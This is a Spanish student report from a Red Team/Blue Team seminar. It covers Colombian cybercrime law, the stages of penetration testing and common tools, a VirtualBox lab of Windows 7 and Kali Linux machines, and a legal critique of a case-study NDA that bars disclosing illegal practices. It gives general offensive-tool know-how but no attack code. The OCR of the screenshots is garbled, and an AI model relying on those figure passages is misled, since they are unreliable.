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RESUMEN

El presente documento es un informe técnico que describe el proceso paso a paso
gue realiza un equipo a Blue Team y Red Team que inicia con el reconocimiento e
implementacion de un banco de trabajo en una maquina virtual en Virtualbox para
generar un ataque informatico controlado en una de las maquinas del banco de
trabajo, identificando las vulnerabilidades a través de pruebas de penetracion, para
luego implementar metodologias de hardenizacion utilizando buenas practicas en
software y hardware para el desarrollo de acciones en seguridad informatica y de la
informacion y de esta forma minimizar o controlar los ataques cibernéticos en una
organizacion

Palabras clave: Equipos red team y blue team, pentesting, Hardening



GLOSARIO

Seguridad Informatica: Es el conjunto de medidas y practicas destinadas a
proteger los sistemas informaticos, la informacién almacenada en ellos y la
privacidad de los usuarios de estos sistemas.

Sistema Operativo: “Conjunto de programas que permite manejar la memoria,
disco, medios de almacenamiento de informacion y los diferentes periféricos o
recursos de nuestra computadora.”! Algunos de estos sistemas operativos son
Windows, Linux, Mac Os y DOS.

Ataque Informético: “Un ataque informatico es un intento de acceder a tus equipos
informaticos o servidores, mediante la introduccion de virus o archivos malware,
para alterar su funcionamiento, producir dafios o sustraer informacion sensible para
tu empresa.” 2.

Amenaza Informatica: “Se entiende comoamenaza informatica toda
aquella accién que aprovecha una vulnerabilidad para atacar o invadir un sistema
informatico.” 3.

Confidencialidad de la informacién: “acceso a la informacion solo mediante
autorizacion y de forma controlada.” 4.

Integridad de la informacion: “modificacion de la informaciéon solo mediante
autorizacion.”

1 Euroinnova (2023). El sistema operativo. Recuperado de https://www.euroinnova.co/sistema-
operativo

2 Caseres (n.d.). Ataque informatico. Recuperado de https://www.caser.es/glosario-
seguros/comercio/atague-informatico

3 Ambit (2020). Amenzas informaticas. Recuperado de https://www.ambit-bst.com/blog/tipos-de-
vulnerabilidades-y-amenazas-inform%C3%Alticas

4 Elvira Mifsud (2012) MONOGRAFICO: Introduccion a la seguridad informética - Seguridad de la

informacion / Seguridad informatica. Recuperado de
http://recursostic.educacion.es/observatorio/web/ca/software/software-general/1040-introduccion-a-
la-sequridad-

informatica?start=1#:~:text=Confidencialidad%3A%20acces0%20a%20la%20informaci%C3%B3n,d
ebe%20permanecer%20accesible%20mediante%20autorizaci%C3%B3n.
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Disponibilidad de la informacion: “la informacion del sistema debe permanecer
accesible mediante autorizacion.” 4

Equipo Red Team: Es un equipo de atacantes simulados que trabaja para explotar
vulnerabilidades y debilidades en un sistema o red, simulando una intrusion real.

Equipo Blue Team: Es un equipo de defensa que trabaja para proteger el sistema
o red de intrusiones simuladas.

Pentesting: “El Pentesting es una abreviatura formada por dos
palabras “penetration” y “testing” y es una practica/técnica que consiste en atacar
diferentes entornos o sistemas con la finalidad de encontrar y prevenir posibles
fallos en el mismo.” ®

Ciberseguridad: “La ciberseguridad es la practica de defender las computadoras,
los servidores, los dispositivos moéviles, los sistemas electronicos, las redes y los
datos de ataques maliciosos.” ©

Hackspaces: “Son lugares fisicos operados por la comunidad, donde las personas
comparten su interés por jugar con la tecnologia, se rednen y trabajan en sus
proyectos, y aprenden unos de otros.” ’

5 Campus Internacional CIBERSEGURIDAD (2023) ¢Qué es el Pentesting?. Recuperado de
https://www.campusciberseguridad.com/blog/item/139-que-es-el-pentesting

6 Kaspersky. (n.d.) ¢ Que es la ciberseguridad? Recuperado de
https://latam.kaspersky.com/resource-center/definitions/what-is-cyber-security

" Hackerspaces. (n.d.) Hackerspaces. Recuperado de https://hackerspaces.org/
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INTRODUCCION

La seguridad informética es una disciplina encargada de salvaguardar los sistemas
informaticos, redes y datos ante posibles intrusiones y amenazas e incluye
proteccion de la privacidad, integridad y disponibilidad de la informacion, asi como
proteccion contra la interrupcién o mal uso de los sistemas informaticos.

La seguridad informatica es critica en un mundo cada vez mas digital, ya que la
mayoria de las organizaciones dependen de los sistemas informéticos para sus
operaciones diarias. Ademas, los atagues informaticos pueden tener consecuencias
graves, incluyendo pérdida de datos confidenciales, interrupcion del negocio y dafio
a la reputacion de la organizacion.

Para garantizar la seguridad informética, es importante adoptar medidas
preventivas, como la implementacién de politicas de seguridad soélidas, educacion
de los usuarios, contratar expertos en seguridad informética, asi como el constante
monitoreo de los sistemas informaticos para detectar y actuar ofensivamente o
preventivamente ante amenazas a la seguridad de la informacion.

En general, la seguridad informatica es un aspecto critico de la gestién de la
informacion, y requiere un enfoque proactivo y constante para garantizar la
proteccion de los sistemas informaticos, redes y datos de las organizaciones.

Expuesto lo anterior desarrollaremos en cuatro fases un informe técnico de las
capacidades técnicas, legales y de gestion desarrollado en el seminario
Especializado: Equipos Estratégicos en Ciberseguridad: Red Team & Blue Team.



1. OBJETIVOS

1.1 OBJETIVO GENERAL

A través de un informe técnico evaluar e implementar acciones a partir del
uso de metodologias y técnicas de intrusion y vulnerabilidades en seguridad
informatica aplicadas por los equipos Blue Team y Read Team, dentro de un
marco de criterios éticos y legales, para la contencion de ataques
informéticos en una organizacion.

1.2 OBJETIVOS ESPECIFICOS

Analizar la legislacion Colombia con relacion a delitos informaticos.

Analizar y evaluar las vulnerabilidades y debilidades en la seguridad de un
sistema o aplicacion informatica

Analizar los métodos de contencidon en un ataque informatico en tiempo real.
Implementar acciones de hardenizacion para minimizar ataques a la
seguridad informatica.

Explicar las diferentes herramientas y servicios utilizados en ciberseguridad.
Reconocer herramientas utilizadas en la contencién de ataques informaticos.
Implementar y configurar un “banco de trabajo” en un entorno local.

Analizar un acuerdo de confidencialidad desde el punto de vista legal y no
ético con referencia a la violacion de la ley 1273 de 2009.

Analizar una propuesta de trabajo para seleccionar el personal de los equipos
Red team y Blue team, desde el punto de vista legal y ético.



2. DESARROLLO DEL INFORME

A continuacion, se desarrollara la Etapa 1 - Conceptos equipos de Seguridad, el
cual sera la primera fase del Seminario Especializado: Equipos Estratégicos en
Ciberseguridad: Red Team & Blue Team.

2.1 CONCEPTOS Y LEGISLACION SOBRE DELITOS INFORMATICOS

2.1.1Legislaciéon actual sobre delitos informaticos en Colombia.

El aumento de los ataques informaticos en el mundo y en Colombia es un reflejo de
la creciente dependencia de la tecnologia y la informacion en la sociedad moderna.

Con la adopcién masiva de tecnologias de la informacion y las comunicaciones, se
han creado nuevos canales para que los ciberdelincuentes perpetren ataques
informaticos con el objetivo de obtener ganancias econdmicas, acceder a
informacion confidencial o causar dafios a la infraestructura informatica.

En Colombia, el aumento de los ataques informéticos se ha visto impulsado por la
falta de medidas preventivas adecuadas y la falta de conocimiento sobre lo
realmente importante que es la seguridad informética. Ademas, los servicios
encargados de analizar, investigar y perseguir estos hechos tienen limitaciones en
cuanto a recursos y capacitacion, lo que hace mas dificil combatir estos ataques.

En el mundo, el aumento de los ataques informaticos se ha acelerado debido a la
pandemia de COVID-19, que ha llevado a un aumento del trabajo remoto y la
dependencia de las tecnologias de la informacion y las comunicaciones. Esto ha
creado nuevos puntos de entrada para los atacantes, incluyendo la explotacion de
la tecnologia obsoleta o la falta de medidas de seguridad adecuadas.

Asi como las conductas delictivas convencionales o tradicionales se encuentran
tipificados en leyes explicitamente creadas para su penalizacién, de igual forma
para la judicializacion de los delitos informaticos se crearon nuevas legislaciones
relacionados con vulnerabilidades contra el acceso y la proteccién de la informacion
y de los datos en Colombia, los cuales permiten condenas a través de penas con
privacion de la libertad y/o multas y se citaran a continuacion:



Ley 1273 de 20098 sobre Delitos Informéticos: Esta ley establece las sanciones
penales para los delitos informaticos cometidos en Colombia, incluyendo el acceso
no autorizado a sistemas informaticos, la manipulacion de informacioén, la
interceptacion ilegal de comunicaciones, entre otros.

Decreto 1377 de 2013° sobre Proteccion de Datos Personales: Este decreto
establece las normas para la proteccion de datos personales en Colombia,
incluyendo los derechos de las personas sobre su informacién personal y las
responsabilidades de las empresas y entidades en su recoleccion, almacenamiento
Yy Uso.

Ley 1581 de 2012° sobre Proteccion de Datos Personales: Esta ley establece los
derechos de los titulares de la informacion y las obligaciones de los responsables y
encargados del tratamiento de datos personales, y regula el registro, uso y
proteccion de los datos personales.

En general, estas leyes tienen como objetivo proteger los derechos de las personas
en relacion a su informacion personal y prevenir los delitos informaticos.

2.1.2 Pentesting

Penetration Testing (Prueba de penetracion o "pentesting" en esparfiol) es una
técnica de seguridad informética utilizada para evaluar la seguridad de un sistema
o aplicacién informatica. El objetivo del pentesting es evidenciar vulnerabilidades y
debilidades en la seguridad de los sistemas y proporcionar recomendaciones para
solucionarlas antes de que puedan ser explotadas por un atacante malintencionado.

En un pentest, un equipo de expertos en seguridad informética simula un ataque
realista para evaluar la eficacia de las medidas de seguridad actuales. Esto se hace
mediante la aplicacion de herramientas y técnicas de hacking ético en busca de
vulnerabilidades en el sistema y obtener acceso no autorizado a los datos y
recursos, siendo esta una parte importante de la gestion de la seguridad de la
informacion y mejoras en la seguridad de un sistema antes de un ataque real. Este
proceso de pentesting debe ser llevado ejecutado por profesionales expertos

8 Secretaria del Senado. (2022) Ley 1273 de 2009. Recuperado de
http://www.secretariasenado.gov.co/senado/basedoc/arbol/1000.html

9 Funcidn Publica. (n.d.) Decreto 1377 de 2013. Recuperado de
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646#:~:text=Se%C3%B1al
a%2010%20relacionado%20con%20el,al%20tratamiento%20de%20datos%20personales

10 Funcion Pablica. (n.d.) Ley 1581 de 2012. Recuperado de
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981
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capacitados y autorizados, ya que una mala implementacién o interpretacion puede
causar dafos adicionales a los sistemas evaluados.

El pentesting es un proceso que consta de varias etapas y su objetivo es evaluar la
seguridad de un sistema informatico.

A continuacién, se describird cada una de las etapas y se cita un ejemplo:

¢ Planificacion: En esta etapa, se establecen los objetivos y los alcances del
pentesting, asi como se determinan los recursos y las restricciones
necesarias para llevar a cabo el proceso. Por ejemplo, se puede establecer
un objetivo de evaluar la seguridad de un sitio web y se definen las
restricciones para no causar dafos al sistema.

¢ Recopilacién de informacion: En esta etapa, se recopila informacién sobre el
sistema y la infraestructura que se va a evaluar. Por ejemplo, se pueden
buscar detalles sobre la topologia de la red, las tecnologias utilizadas y la
presencia de sistemas externos que interactian con el sistema objetivo.
Herramientas utilizadas Dnsmap, Dnsrecon, Nmap, Recon-ng, SubFinder
entre otras.

e Analisis de vulnerabilidades: En esta etapa, se analizan las vulnerabilidades
potenciales del sistema y se determinan los puntos de ataque. Por ejemplo,
se pueden buscar vulnerabilidades en el software utilizado, en la
configuraciéon de la red o en las politicas de seguridad. Herramientas
utilizadas Nessus, OWASP Zap Proxy, BugBounty Recon, Vega, BurpSuite
entre otras.

e Explotacién: En esta etapa, se lleva a cabo la explotacion de las
vulnerabilidades identificadas. Por ejemplo, se pueden utilizar herramientas
de pentesting para acceder a un sistema o para causar dafios a la
infraestructura. Herramientas utilizadas OpenVAS, Nessus, BeEF, Metasploit
Framework, Routersploit, PowerSploit, SPARTA, Xarp, SQLMap, BurpSuite
entre otras.

e Evaluacién: En esta etapa, se evalluan los resultados del pentesting y se
determinan las recomendaciones para corregir las vulnerabilidades

10
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identificadas. Por ejemplo, se pueden recomendar cambios en la
configuracion de la red o en el software utilizado para mejorar la seguridad
del sistema.

¢ Informe: Finalmente, se prepara un informe con los resultados del pentesting
y se proporcionan las recomendaciones para corregir las vulnerabilidades
identificadas. Por ejemplo, se puede presentar un informe con detalles sobre
las vulnerabilidades encontradas, las explotaciones realizadas y las
recomendaciones para corregir las vulnerabilidades. Herramientas utilizadas
Dradis, Faraday, Simple Vulnerability Manager.

2.2 HERRAMIENTAS DE CIBERSEGURIDAD

Las herramientas de ciberseguridad son software y hardware disefiados para
ayudar a proteger sistemas informaticos y redes contra ataques cibernéticos y
amenazas en linea, siendo estas de gran ayuda para detectar, prevenir y mitigar
riesgos de seguridad.

Algunos de los tipos mas comunes de herramientas de ciberseguridad son:

e Firewalls: son dispositivos o software que controlan el trafico entrante y
saliente en una red y bloguean las conexiones no autorizadas. Estos ayudan
a proteger los sistemas de ataques externos como los virus o malware.

e Antivirus y antimalware: estas herramientas protegen los sistemas contra
virus, malware, spyware y otras amenazas informaticas. Realizan andlisis en
tiempo real y escaneos regulares para detectar y eliminar software malicioso.

e Herramientas de deteccién y respuesta a incidentes (IDS/IPS): estas
herramientas monitorean continuamente la actividad en una red y alertan en
caso de detectar comportamientos anémalos 0 amenazas.

e Soluciones de gestion de seguridad de la informacion (SIEM): estas
herramientas combinan informacion de varios puntos de la red y
proporcionan una vision global de la seguridad. A menudo incluyen analisis
en tiempo real y generacion de informes para ayudar a los administradores a
detectar y responder a las amenazas.

e Encriptacion de datos: las herramientas de cifrado protegen la
confidencialidad de los datos al aplicar una capa de seguridad a los datos
sensibles.
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e Es importante tener en cuenta que, aunque las herramientas de
ciberseguridad son Utiles, estas no garantizan la proteccion total contra todas
las amenazas que existen actualmente y que dia a dia crecen por lo cual es
importante implementar medidas de seguridad en diferentes capas y
mantener las herramientas actualizadas y los profesionales especializados
para asegurarse de contar con la maxima proteccion contra amenazas en
linea y fuera de linea.

A continuacién, se enuncian algunas herramientas de ciberseguridad y servicios en
linea:

METASPLOIT

Metasploit es una plataforma de seguridad de cédigo abierto utilizada para realizar
pruebas de penetracion (pentesting) en sistemas y redes. Fue desarrollada por HD
Moore y actualmente es mantenida por la empresa de seguridad informatica Rapid?7.

Metasploit permite a los profesionales de seguridad probar la seguridad de los
sistemas y aplicaciones para identificar vulnerabilidades y debilidades. La
plataforma incluye una amplia biblioteca de exploits, herramientas y modulos que
facilitan la identificacion y explotacion de las vulnerabilidades. Ademas, Metasploit
permite automatizar pruebas de penetracion y personalizar ataques para adaptarse
a las necesidades especificas de cada organizacion.

Metasploit es ampliamente utilizado por profesionales de seguridad y empresas
para evaluar la seguridad de sus sistemas y aplicaciones. Sin embargo, también es
utiizado por atacantes malintencionados para realizar ataques y explotar
vulnerabilidades en sistemas y redes. Por lo tanto, es importante utilizar Metasploit
de manera ética y responsable para proteger los sistemas y los datos sensibles.

Para mas informacién acceder a la siguiente URL https://www.metasploit.com/

Nmap.

Nmap es una herramienta de escaneo de puertos y seguridad de cédigo abierto
utilizada para explorar redes y dispositivos. Fue desarrollada por Gordon Lyon y es
ampliamente utilizada por profesionales de seguridad informética, administradores
de sistemas y desarrolladores de software.
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Nmap permite a los usuarios escanear dispositivos en una red para identificar los
servicios y puertos que estan activos, asi como la informacion sobre el sistema
operativo, las versiones de software y otros detalles técnicos. Ademas, Nmap puede
utilizarse para identificar vulnerabilidades y debilidades en los sistemas y
aplicaciones, y para investigar atagues e intrusiones.

Nmap es una herramienta poderosa que puede ser utilizada tanto para fines
legitimos como ilegitimos. Por lo tanto, es importante utilizar Nmap de manera ética
y respetar las politicas de seguridad y privacidad de las redes y dispositivos que se
escanean. Nmap es una herramienta valiosa para profesionales de seguridad y
administradores de sistemas que buscan mejorar la seguridad de sus redes y
dispositivos.

Para mas informacion acceder a la siguiente URL https://nmap.org/

OpenVas

OpenVAS es un sistema de gestion de seguridad de cédigo abierto el cual permite
realizar escaneos de vulnerabilidades en sistemas y aplicaciones. Es una solucion
completa para la gestion de la seguridad de la informacion que incluye herramientas
para la deteccion, andlisis y solucién de problemas de seguridad.

OpenVAS utiliza una amplia variedad de herramientas de escaneo de
vulnerabilidades, incluyendo escaneos de puertos, analisis de aplicaciones web,
deteccion de software malicioso y mucho mas. La plataforma también ofrece
informes detallados que pueden ser personalizados para adaptarse a las
necesidades de cada organizacion.

OpenVAS es una herramienta valiosa para profesionales de seguridad informatica
y administradores de sistemas que buscan mejorar la seguridad de sus redes y
aplicaciones. La plataforma es facil de usar y se integra facilmente con otras
soluciones de seguridad, lo que la hace ideal para organizaciones de todos los
tamafios. Sin embargo, es importante utilizar OpenVAS de manera ética y respetar
las politicas de seguridad y privacidad de las redes y dispositivos que se escanean.

Para mas informacion acceder a la siguiente URL https://www.openvas.org/

13


https://nmap.org/
https://www.openvas.org/

ExploitDB

ExploitDB Base de exploits de codigo abierto que recopila informacion sobre
vulnerabilidades y explotaciones conocidas. Fue creada para ser una fuente
confiable de informacion sobre seguridad para profesionales de seguridad
informatica e investigadores.

ExploitDB incluye informacion sobre una amplia variedad de sistemas y
aplicaciones, desde sistemas operativos hasta software de aplicaciones web y de
servidores. La base de datos se actualiza regularmente con nuevos exploits y se
puede utilizar para investigar y detectar vulnerabilidades en los sistemas y
aplicaciones.

ExploitDB es una herramienta valiosa para profesionales de seguridad informatica
y administradores de sistemas que buscan mantenerse informados sobre las Ultimas
vulnerabilidades y explotaciones conocidas. La BD es de acceso libre y se puede
utilizar para ayudar en la seguridad de los SO y aplicaciones, pero es importante
utilizarla de manera ética y respetar las politicas de seguridad informatica y
confidencialidad y privacidad de los sistemas y aplicaciones que se investigan.

Para mas informacién acceder a la siguiente URL https://www.exploit-db.com/

CVE

CVE (Common Vulnerabilities and Exposures) es un sistema de identificacion
estandar para vulnerabilidades informaticas. Fue creado por MITRE Corporation
con el objetivo de proporcionar una base de datos centralizada y unificada para
describir y clasificar vulnerabilidades informaticas.

Cada vulnerabilidad en el sistema CVE se identifica con un numero unico, conocido
como identificador CVE, que permite a los profesionales de seguridad informatica y
a los investigadores de seguridad rastrear y rastrear facilmente las vulnerabilidades.
La informacion sobre las vulnerabilidades se actualiza regularmente en la base de
datos de CVE para proporcionar informacién precisa y actualizada.

CVE es una herramienta valiosa para profesionales de seguridad informatica y
administradores de sistemas que buscan mantenerse informados sobre las Gltimas
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vulnerabilidades conocidas. La base de datos es de acceso gratuito y se puede
utilizar para mejorar la seguridad de los sistemas y aplicaciones, pero es importante
utilizarla de manera ética y respetar las politicas de seguridad y privacidad de los
sistemas y aplicaciones que se investigan.

Para mas informacién acceder a la siguiente URL https://cve.mitre.org/

2.3 CONFIGURACION DEL “BANCO DE TRABAJO”

Se hace la aclaracion que se procede a configurar el banco de trabajo con las OVA
de Windows 7 X86 y Windows 7 X64 no oficiales suministradas por el curso del
Seminario Especializado: Equipos Estratégicos en Ciberseguridad: Red Team &
Blue Team - (202337164A 1435) para poder cumplir con la actividad.

2.3.1Instalacion Virtualbox

VirtualBox es un programa de virtualizacion de sistemas operativos gratuito y de
codigo abierto que permite ejecutar multiples sistemas operativos en una sola
maquina fisica. Esto permite a los usuarios probar y experimentar con diferentes
sistemas operativos y aplicaciones sin tener que realizar cambios permanentes en
su sistema operativo principal. Ademas, VirtualBox es Util para desarrolladores que
desean probar su software en diferentes entornos sin tener que configurar maltiples
maquinas fisicas.

VirtualBox es compatible con una amplia variedad de sistemas operativos,
incluyendo Windows, macQOS, Linux y Solaris, y es facil de usar, con una interfaz de
usuario amigable y herramientas de configuracion avanzadas.

A continuacidn, se ejecuta la descarga de VirtualBox de la pagina oficial
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llustracién 1. Descarga de VirtualBox
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Fuente: Propia (2023)

llustracion 2. Instalacion VirtualBox
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Fuente: Propia (2023)
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2.3.2Instalacion Windows 7 X86 Win7-SE2020 (Win7 32 bits)

Windows 7 es un sistema operativo desarrollado por Microsoft que fue lanzado en
octubre de 2009. X86 se refiere a la arquitectura de 32 bits.

Windows 7 es un SO el cual cuenta con un entorno gréafico redisefiada y mas
intuitiva, con una barra de tareas mas organizada y nuevas funciones de gestion de
ventanas. También ofrece una mayor compatibilidad con hardware y software, una
mejor seguridad y un rendimiento mas r4pido en comparacion con su predecesor,
Windows Vista.

Windows 7 incluye una amplia gama de caracteristicas, incluyendo el Asistente para
resolucion de problemas, la recuperacion de sistemas, la compatibilidad con
multiples monitores, la compatibilidad con touch, la reproduccion de medios
mejorada y la posibilidad de crear perfiles de usuario para diferentes miembros de
una familia o empresa.

Aunque Microsoft ha dejado de dar soporte técnico a Windows 7 desde enero de
2020, todavia es un sistema operativo popular y ampliamente utilizado en todo el
mundo. Sin embargo, se recomienda a los usuarios actualizar a un sistema
operativo mas reciente como Windows 11 para obtener las Ultimas caracteristicas
de seguridad y rendimiento.

Se configura la direccion IP: 10.0.2.20 en la maquina Windows 7 32 bits
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llustracién 3. Instalacion Win7-SE2020 (Win 7 32 bits)

R Win 7 %86 [Corriendo] - Oracle VM VirtualBox — b
Archivo Msguna Ver Enbada Dispositivos Ayuda
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N de drea local Propiedades: Protocolo de Internet versién & (TCP/IPv) 7 =S

validar configuradién al salir [ Opciones avanzadas... |

N o) (o |
Bl © 0=

BORk &  ©)i g R cre perecHa
Fuente: Propia (2023)

2.3.3Instalacién Windows 7 X64 Win7-SE2020-X64 (Win7 64 bits)

Windows 7 x64 Version de 64 bits del SO Win 7. La principal diferencia entre la
version x86 y x64 de Windows 7 es la cantidad de memoria RAM que puede utilizar.
La version x64 permite una cantidad mayor de memoria RAM, lo que a su vez
permite un rendimiento mas rapido y una mayor capacidad para ejecutar
aplicaciones mas exigentes.

Ademas de esta diferencia, Windows 7 x64 ofrece las mismas caracteristicas y
funciones que la versién x86 de Windows 7, incluyendo una interfaz grafica de
usuario mejorada, compatibilidad con multiples monitores, compatibilidad con touch,
mejor reproduccion de medios, posibilidad de crear perfiles de usuario y mas. Sin
embargo, es importante tener en cuenta que la versién x64 de Windows 7 solo es
compatible con hardware y software de 64 bits. Si el computador esta equipado con
un procesador de 32 bits, no podra instalar Windows 7 x64.

Se configura la Direccién IP: 10.0.2.21 en la maguina Windows 7 64 bits
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llustracién 4. Instalacién Win7-SE2020-X64 (Win 7 64 bits)

B Sl@=
@Uv § » Panel de control » Redeselntemet » Conexiones de red
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[ ]
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Fuente: Propia (2023)

2.3.4KALI LINUX

Sistema operativo disefiado para pruebas de penetracion y seguridad informatica.
Desarrollado por Offensive Security y ampliamente utilizado por profesionales de la
seguridad informética, investigadores de seguridad y entusiastas de la tecnologia.

Algunas de las caracteristicas y ventajas de Kali Linux incluyen:

Amplia seleccion de herramientas de seguridad: Incluye mas de 600
herramientas de seguridad, incluyendo Nmap, Metasploit, Aircrack-ng, etc.
Personalizacion: Kali Linux permite a los usuarios personalizar y adaptar el
sistema operativo a sus necesidades especificas.

Documentacion y comunidad en linea: Cuenta con una gran comunidad de
usuarios y amplia documentacién en linea que puede ayudar a los usuarios
a resolver problemas y obtener mas informacion sobre el sistema operativo.
Actualizaciones frecuentes: Sistema operativo en constante desarrollo, con
actualizaciones que incluyen nuevas herramientas y mejoras de seguridad.
Gratuito y de codigo abierto: Es un sistema operativo de cédigo abierto y
gratuito, se puede descargar, usar y modificar el cédigo fuente.

Se configura la Direccién IP: 10.0.2.22 en la maquina Kali Linux
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llustracién 5. Instalacién y acceso a Kali Linux
3 Kali Linux [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda

X
= latam 4 12feb,21:30 &
b & B G@ @ cr omecha
Fuente: Propia (2023)
2.3.5Comunicacién entre las maquinas del banco de trabajo
Se hace ping de la maquina Windows 7-32 Bits a Kali Linux.
llustracion 6. Ping Win32-Kali Linux
Rl win 7 X86 [Corriendo] - Oracle VM VirtualBox - X
ORI IS 6 Hl® @ cr oxean
Fuente: Propia (2023)
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Se hace ping de la maquina Windows 7-64 Bits a Kali Linux.

llustracion 7. Ping Win64-Kali Linux

8 win 7 X64 [Corriendo] - Oracle VM VirtualBox - o X
Archivo Maquna Ver Entrada Dispositivos Ayuda

U
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Fuente: Propia (2023)

llustracion 8. Conectividad banco de trabajo

W
nay
He nta:
ﬁﬁﬁ erramientas - = .
B C\Windows\system32\cmd. exe | =8 C\Windows\system32\emd exe
F} s C:\Users uboxuser>ping 10.8.2.22 c:\Usersuhoxuserdping 10.6.2.22
oriendo
gacundo n(l‘nyda }I g %g con 32 bytes de datos Haciendo ping .8.2.22 con 32 hyte, de dat:
lespuesta desde it [Respuesta de"de 1E A.2.22: byt tiem) pn(im
Win 7 X64 [Respuesta desde 1I . [Respuesta desde 18.0.2.22 hyte 2 tiempo{im

.} & Coriond Respuesta desde To:0:3:551 puves i Fespucsta desde 10.0.2.22: bytes=32 tiempo<im ITL=64
orriendo Respucsta desde 10.8.2.22: bytes=32 tiempo<im TT iRpucota decde 10.8.2.22: hytes-32 ¢iompa<im TTL-64
istadisticas de ping para 16.9.2.22: Estadistioas do ping para 16.8.2.22:
Kali Linux Paquetes: enviados os = 4, perdidos Paque enviados = 4, recibidos = 4, perdidos = B
f & Carriendo < -PE"dl““-” s | q -
Tle“ﬁ“-’ apl‘nx)madnu'de ida uue%tg_en milisegundos: 'l'1em)o.‘ aproxinados de ida y vuelta en milisegundos:
xino = cdia = Bns

Rining = Bne. Méwino - Gnes Media - @ns
M P Keli Linux [Corriendo] - Oracle VM VirtualBox

Archivo M&quina Ver Entrada Dispositvos Ayuda
VD emBEOE|1 2 3 4

3 ero@kal
Emulador de terminal
Archive # Uselalinea de

R T . 7 7 ): : =
bog02s09-in-f14.1e100. 7 7 ): . 5 QBEF S |E iG] @ @ cr oerecia
bog@2s09-in-f14.1e100.
bog02s509-in-f14.1e100.

$09-in-f14.1e100.

$09-in-f14.1e100.

$09-in-f14.1e100.

$09-in-f14.1e100

s@9-in-fl4.1el00.

U] @@ .E‘QI]@ CTRL DERECHA

Fuente: Propia (2023)

21



2.4 ACTUACION ETICA Y LEGAL

A continuacion, se desarrollara la Etapa 2 — Actuacion ética y legal, el cual sera la
segunda fase del Seminario Especializado: Equipos Estratégicos en
Ciberseguridad: Red Team & Blue Team.

2.4.1Andlisis legal

Anexo 2 — Situacion Problema — Andlisis Legal.

A continuacién, se transcribe la situacion planteada del problema para su posterior
analisis en el desarrollo de la actividad:

La organizacion WhiteHouse Security es una organizacion con reconocimiento a
nivel mundial por asesorar a grandes Gobiernos en procesos de ciberseguridad y
ciberdefensa logrando posicionarse como la organizacion mas importante en el
campo de la seguridad informatica a nivel mundial, la organizacién ha decidido que
es hora de conformar equipos de Red team y Blue team dentro de su estructura
funcional para aumentar los protocolos de seguridad al interior de esta.

Para dar inicio, la organizacion WhiteHouse Security hace entrega de un contrato
para el reclutamiento de sus equipos Red team y Blue team; este contrato fue
elaborado por un abogado que ya no labora con la organizacion y fue despedido por
encontrar algunos procesos ilicitos. La alta gerencia no reviso los contratos con los
que se reclutara el nuevo personal, por ende, los contratos son entregados sin
modificacion alguna; ante este evento la gerencia solicita tener suma precaucion
antes de firmar el contrato y acuerdos de confidencialidad estipulados para el fin de
contratacion de personal, sin embargo la organizacion aprovecha una serie de
problemas que ha identificado en su interior y como prueba de admision al equipo
Red team y Blue team deciden clasificar una primera misién a la cual deberian dar
respuesta en poco tiempo y trabajar bajo presion “caracteristica” de estos equipos.
También deberéa proyectar la instalacion de dos maquinas virtuales por medio de
virtualbox para poder ejecutar las sesiones de pruebas en las actividades
posteriores.

Al Analizar la situacién problema en la organizacion WhiteHouse Security segun la
redaccion anterior del anexo 2 — situacién problema — analisis legal, en cuanto al
reclutamiento de los miembros de los equipos Red team y Blue team, se procede a
emitir un concepto técnico-legal en primera instancia acerca del mismo:
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Siendo la organizacién WhiteHouse Security lider a nivel mundial en asesoria
gubernamental en el mundo en procesos de ciberseguridad y ciberdefensa, y
analizada la situacién planteada del problema, esta presenta un error que no es
permitido en una empresa de este tamafo corporativo a nivel mundial y es la
evidencia que, primero la alta gerencia no es el area o grupo de profesionales
designados para el andlisis, revision, modificacion y/o aprobacion de documentos
legales en la empresa como se informa en anexo 2 — situacion problema — analisis
legal “La alta gerencia no revisé los contratos” ya que existe en la estructura
jerarquica de la organizacién un area juridica, quien es la encargada de las minutas
de los contratos que se suscriben. Dicho lo anterior es un error de la alta gerencia
hacer entrega de un documento sin el analisis, revision, modificacion y/o aceptacion
por parte del area juridica de la empresa.

Segunda situacion de analisis, en el anexo 2 — situacion problema — analisis legal
se transcribe “el contrato fue elaborado por un abogado que ya no labora con
la organizacion y fue despedido por encontrar algunos procesos ilicitos”, en
el texto anterior se evidencia que el abogado fue retirado de su cargo por denunciar
procesos irregulares en la organizacion mas no que el profesional fuera quien lo
estuviera realizando, lo que se deduce es que fue despedido por descubrir un acto
ilicito el cual significo el despido al parecer sin justa casusa por parte de su superior
o la alta gerencia (supuesta teoria de despido de la organizacion del abogado).

Anexo 3 — Acuerdo de Confidencialidad

A continuacion, se transcribe el acuerdo de confidencialidad como se encuentra
formateado en el documento con extension .pdf para un andlisis legal y ético.

ACUERDO DE CONFIDENCIALIDAD ENTRE
NOMBRE DEL ESTUDIANTE Y WHITEHOUSE SECURITY

Por la parte reveladora

Nombre: The WhiteHouse Security Direccion: EE.UU
Teléfono: 1100011100

E-mail: Info@Thewhitehousesecurity.com

Por la parte receptora de la informacion

Nombre:

Direccion:

Teléfono:

E-mail:

Identificacidn del proyecto
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Entre los firmantes, identificados anteriormente, hemos convenido en celebrar el
presente acuerdo de confidencialidad previa las siguientes CONSIDERACIONES
1. Que la informacién compartida en virtud del presente acuerdo pertenece a
Whitehouse Security, y la misma es considerada sensible y de caracter restringido
en su divulgacion, manejo y utilizacion. Dicha informacién es compartida en virtud
del proceso de seleccion de personal.

2. Que la informacion de propiedad de Whitehouse Security Whitehouse Security ha
sido desarrollada u obtenido legalmente, como resultado de sus procesos,
programas o proyectos y, en consecuencias abarca documentos, datos, tecnologia
y/o material que considera unico y confidencial, o que es objeto de proteccion a
titulo de secreto industrial.

3. Que el presente acuerdo se realiza por un lado entre la parte receptora de la
informacion como integrante del proceso de seleccion de personal, nombre
estudiante que para el presente caso actual como revelador, guarda y administrados
de la informacién de propiedad de Whitehouse Security.

En consecuencia, las partes se suscriben a las siguientes clausulas:

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios, autoridades
legales, asesores o cualquier persona relacionada con ella, la informacion
confidencial o sobre procesos ilegales dentro de Whitehouse Security no podran
ser divulgados.

Segunda. Definicion de informacién confidencial: se entiende como
Informacién Confidencial, para los efectos del presente acuerdo:

1. La informacion que no sea publica y sea conocida por la parte receptora con
ocasion del proceso de seleccidn de personal.

